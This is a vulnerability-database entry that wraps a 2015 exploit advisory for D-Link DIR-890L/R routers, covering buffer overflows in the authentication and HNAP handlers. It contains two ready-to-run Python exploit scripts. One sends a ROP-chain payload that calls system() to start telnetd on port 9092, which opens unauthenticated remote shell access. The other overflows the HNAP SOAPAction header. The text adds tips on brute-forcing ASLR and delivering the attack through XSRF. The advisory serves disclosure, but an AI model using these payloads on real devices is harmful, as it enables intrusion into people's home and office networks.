DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-24554", "type": "zdt", "bulletinFamily": "exploit", "title": "D-Link DIR-890L / DIR-890R Buffer Overflow Vulnerability", "description": "D-Link DIR-890L/R suffers from multiple buffer overflow vulnerabilities.", "published": "2015-11-16T00:00:00", "modified": "2015-11-16T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/24554", "reporter": "Samuel Huntley", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-02-20T03:23:41", "viewCount": 7, "enchantments": {"score": {"value": -0.5, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "dsquare", "idList": ["E-25"]}]}, "exploitation": null, "vulnersScore": -0.5}, "sourceHref": "https://0day.today/exploit/24554", "sourceData": "Title: DIR-890L/R Buffer overflows in authentication and HNAP functionalities. \r\nDate published: July,17th, 2015\r\nVendors contacted: William Brown <[email\u00a0protected]>, Patrick Cline [email\u00a0protected](Dlink)\r\nCVE: None\r\n\r\nNote: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, \r\nhttp://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061\r\n\r\nHowever, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.\r\n\r\n\r\n## Product Description\r\n\r\nDIR-890L/R -- AC3200 Ultra Wi-Fi Router. Mainly used by home and small offices.\r\n\r\n## Vulnerabilities Summary\r\n\r\nHave come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.\r\n\r\n## Details\r\n\r\nBuffer overflow in auth \r\n----------------------------------------------------------------------------------------------------------------------\r\nimport socket\r\nimport struct\r\n\r\n\r\n\r\nbuf = \"GET /webfa_authentication.cgi?id=\"\r\nbuf+=\"A\"*408\r\nbuf+=\"\\x44\\x77\\xf9\\x76\" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack\r\nbuf+=\"sh;#\"+\"CCCC\"+\"DDDD\" #R0-R2\r\nbuf+=\"\\x70\\x82\\xFD\\x76\"+\"FFFF\"+\"GGGG\" #R3 with system address and R4 and R5 with junk values\r\nbuf+=\"HHHH\"+\"\\xF8\\xD0\\xF9\\x76\" # R6 with crap and PC address loaded with ROP 2 address\r\nbuf+=\"telnetd%20-p%209092;#\" #actual payload which starts telnetd\r\nbuf+=\"C\"+\"D\"*25+\"E\"*25 + \"A\"*80 # 131 bytes of extra payload left\r\nbuf+=\"&password=A HTTP/1.1\\r\\nHOST: 192.168.1.8\\r\\nUser-Agent: test\\r\\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\r\\nConnection:keep-alive\\r\\n\\r\\n\"\r\n\r\nprint \"[+] sending buffer size\", len(buf)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"10.0.0.90\", 80))\r\ns.send(buf)\r\n\r\n----------------------------------------------------------------------------------------------------------------------\r\n\r\n\r\nBuffer overflow in HNAP\r\n----------------------------------------------------------------------------------------------------------------------\r\nimport socket\r\nimport struct\r\n\r\n\r\n#Currently the address of exit function in libraray used as $PC\r\n\r\n\r\nbuf = \"POST /HNAP1/ HTTP/1.0\\r\\nHOST: 192.168.1.8\\r\\nUser-Agent: test\\r\\nContent-Length: 1\\r\\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX\" + \"\\x10\\xd0\\xff\\x76\"+\"B\"*220\r\nbuf+= \"\\r\\n\" + \"1\\r\\n\\r\\n\"\r\n\r\n \r\n \r\nprint \"[+] sending buffer size\", len(buf)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"10.0.0.90\", 80))\r\ns.send(buf)\r\n\r\n\r\n\r\n----------------------------------------------------------------------------------------------------------------------\r\n\r\n\r\n## Report Timeline\r\n\r\n* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.\r\n* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor\r\n* Nov 13, 2015: A public advisory is sent to security mailing lists.\n\n# 0day.today [2018-02-20] #", "_state": {"dependencies": 1647589307, "score": 1659703426, "epss": 1678811959}}

{}